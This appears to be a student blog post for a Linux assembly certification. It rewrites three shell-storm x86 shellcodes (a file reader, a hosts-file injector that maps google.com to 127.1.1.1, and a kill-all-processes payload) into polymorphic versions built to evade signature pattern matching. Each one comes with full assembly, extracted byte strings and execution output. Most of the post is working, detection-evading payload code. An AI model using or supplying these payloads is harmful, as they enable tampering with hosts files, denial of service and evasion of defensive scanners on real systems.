In this post, I am going to refer 3 Linux x86 shellcodes from shell-storm database and create their polymorphic versions. To elaborate, I will try to achieve polymorphism by using semantically equivalent instructions to achieve the original functionality, but trying to evade the pattern matching.
I will keep this post short and crisp. So, let’s jump right into it:
Linux/x86 File Reader
The first one that I chose is a file reader shellcode. The shellcode had hard-coded string value, which is the file pathname. Upon execution, the shellcode invokes open, read and write syscall to read the file mentioned by the pathname string. The original shellcode is as follows (converted to Intel format):
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp two
one:
pop ebx
mov al, 0x5
xor ecx, ecx
int 0x80
mov esi, eax
jmp read
exit:
mov al, 0x1
xor ebx, ebx
int 0x80
read:
mov ebx, esi
mov al, 0x3
sub esp, 1
lea ecx,[esp]
mov dl,0x1
int 0x80
xor ebx, ebx
cmp ebx, eax
je exit
mov al, 0x4
mov bl, 0x1
mov dl, 0x1
int 0x80
add esp, 1
jmp read
two:
call one
db "file_name"
I changed the string file_name to “/etc/netconfig”, compiled and ran the code and got the following output.
root@kali:~/slae/assignments/assignment-6# objdump -d file_reader |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff\x2f\x65\x74\x63\x2f\x6e\x65\x74\x63\x6f\x6e\x66\x69\x67"
root@kali:~/slae/assignments/assignment-6# nano shellcode.c
root@kali:~/slae/assignments/assignment-6# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_original
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
7 | main()
| ^~~~
root@kali:~/slae/assignments/assignment-6# ./file_reader_original
Shellcode length: 79
#
# The network configuration file. This file is currently only used in
# conjunction with the TI-RPC code in the libtirpc library.
#
# Entries consist of:
#
# <network_id> <semantics> <flags> <protofamily> <protoname> \
# <device> <nametoaddr_libs>
#
# The <device> and <nametoaddr_libs> fields are always empty in this
# implementation.
#
udp tpi_clts v inet udp - -
tcp tpi_cots_ord v inet tcp - -
udp6 tpi_clts v inet6 udp - -
tcp6 tpi_cots_ord v inet6 tcp - -
rawip tpi_raw - inet - - -
local tpi_cots_ord - loopback - - -
unix tpi_cots_ord - loopback - - -
The original shellcode length is 79.
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- Eliminated JMP-CALL-POP technique
- Removed db string. Instead, used a stack method to push /etc///netconfig on the stack
- Removed all mov instructions. Substituted them with add instructions.
The updated code is as follows. I have commented the code too for better understanding.
global _start
_start:
xor ebx, ebx ; EBX XORed to NULL
push ebx ; push NULL onto stack
; push /etc///netconfig on the stack
push 0x6769666e ; gifn : 6769666e
push 0x6f637465 ; octe : 6f637465
push 0x6e2f2f2f ; n/// : 6e2f2f2f
push 0x6374652f ; cte/ : 6374652f
mov ebx, esp
xor eax, eax ; EAX XOred to NULL
add al, 5 ; Increment AL by 5; EAX - 0x5
xor ecx, ecx
int 0x80
mov esi, eax
jmp read
exit:
xor eax, eax ; EAX XOred to NULL
add al, 1 ; Increment AL by 1; EAX - 0x1
xor ebx, ebx
int 0x80
read:
mov ebx, esi
xor eax, eax ; EAX XOred to NULL
add al, 3 ; Increment AL by 3; EAX - 0x3
sub esp, 1
lea ecx,[esp]
xor edx, edx ; EDX XOred to NULL
add dl, 1 ; Increment DL by 1, EDX - 0x1
int 0x80
xor ebx, ebx
cmp ebx, eax
je exit
xor eax, eax ; EAX XOred to NULL
xor edx, edx ; EDX XOred to NULL
add al, 4
add bl, 1
add dl, 1
int 0x80
add esp, 1
jmp read
Running this in our skeleton C shellcode shows that the shellcode size is 89, which is just ~11% increase in payload size.
root@kali:~/slae/assignments/assignment-6/file_reader# objdump -d file_reader_polymorphic |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\x53\x68\x6e\x66\x69\x67\x68\x65\x74\x63\x6f\x68\x2f\x2f\x2f\x6e\x68\x2f\x65\x74\x63\x89\xe3\x31\xc0\x04\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x08\x31\xc0\x04\x01\x31\xdb\xcd\x80\x89\xf3\x31\xc0\x04\x03\x83\xec\x01\x8d\x0c\x24\x31\xd2\x80\xc2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xdf\x31\xc0\x31\xd2\x04\x04\x80\xc3\x01\x80\xc2\x01\xcd\x80\x83\xc4\x01\xeb\xd4"
root@kali:~/slae/assignments/assignment-6/file_reader# nano shellcode.c
root@kali:~/slae/assignments/assignment-6/file_reader# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_poly
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
7 | main()
| ^~~~
root@kali:~/slae/assignments/assignment-6/file_reader# ./file_reader_poly
Shellcode length: 89
#
# The network configuration file. This file is currently only used in
# conjunction with the TI-RPC code in the libtirpc library.
#
# Entries consist of:
#
# <network_id> <semantics> <flags> <protofamily> <protoname> \
# <device> <nametoaddr_libs>
#
# The <device> and <nametoaddr_libs> fields are always empty in this
# implementation.
#
udp tpi_clts v inet udp - -
tcp tpi_cots_ord v inet tcp - -
udp6 tpi_clts v inet6 udp - -
tcp6 tpi_cots_ord v inet6 tcp - -
rawip tpi_raw - inet - - -
local tpi_cots_ord - loopback - - -
unix tpi_cots_ord - loopback - - -
root@kali:~/slae/assignments/assignment-6/file_reader#
Add Entry Hosts file
The second one in the list is a payload which adds mapping of a domain to IP address in the hosts file. The hardcoded values create a mapping of google.com with 127.1.1.1
The original shellcode is as follows:
/**
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
**/
The code when run is of 77 bytes.
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode Shellcode length: 77 root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1 google.com
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- As standard push of /etc///hosts on the stack was a defined pattern, I removed it
- Instead, I broke up each push instruction in the following:
- Subtracted 0x1111 from each push instruction and moved to ESI register
- Added 0x1111 in the ESI register
- Moved ESI to ESP – 4, ESP – 8 and ESP-12 respectively for each instruction
- Adjusted ESP by subtracting 12
The updated code is as follows. I have commented the code too for better understanding.
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
; push 0x7374736f ;/etc///hosts
; push 0x682f2f2f
; push 0x6374652f
; subtract 0x1111 from 0x7374736f and then add 0x1111
mov esi, 0x7374625E
add esi, 0x1111
mov dword [esp-4], esi
; subtract 0x1111 from 0x682f2f2f and then add 0x1111
mov esi, 0x682F1E1E
add esi, 0x1111
mov dword [esp-8], esi
; subtract 0x1111 from 0x6374652f amd then add 0x1111
mov esi, 0x6374541E
add esi, 0x1111
mov dword [esp-12], esi
; adjust esp
sub esp, 12
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
Running this in our skeleton C shellcode shows that the shellcode size is 107, which is just ~38% increase in payload size.
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode Shellcode length: 107 root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1
Kill all Processes
This is the last one in this post. This shellcode is pretty straightforward. It kills all processes !
The original code is as follows:
; linux/x86 kill all processes 9 bytes
; root@thegibson
; 2010-01-14
section .text
global _start
_start:
; kill(-1, SIGKILL);
mov al, 37
push byte -1
pop ebx
mov cl, 9
int 0x80
As you can see, this is a very small piece of code that is using kill syscall to kill all the processes. Running this code exits my ssh console session and this code is only 9 bytes long.
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- Instead of moving the syscall number directly into EAX register, I broke the instruction into 3 instructions, which has the same function
- Similarly, instead of moving the 9 directly into ECX register, I broke the instruction into 3 instructions, which has the same function
The modified shellcode is of 19 bytes which is ~111% increase in the size. The modified shellcode is as follows:
; linux/x86 kill all processes 9 bytes
; root@thegibson
; 2010-01-14
section .text
global _start
_start:
; kill(-1, SIGKILL);
; broke mov al, 37 into 3 instructions
mov cl, 0x24
mov eax, ecx
add eax, 0x1
push byte -1
pop ebx
; broke mov cl, 9 into 3 instructions
mov dl, 0x8
mov ecx, edx
add ecx, 0x1
int 0x80
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: PA-16521
The code is also stored at GitHub. Thanks for reading !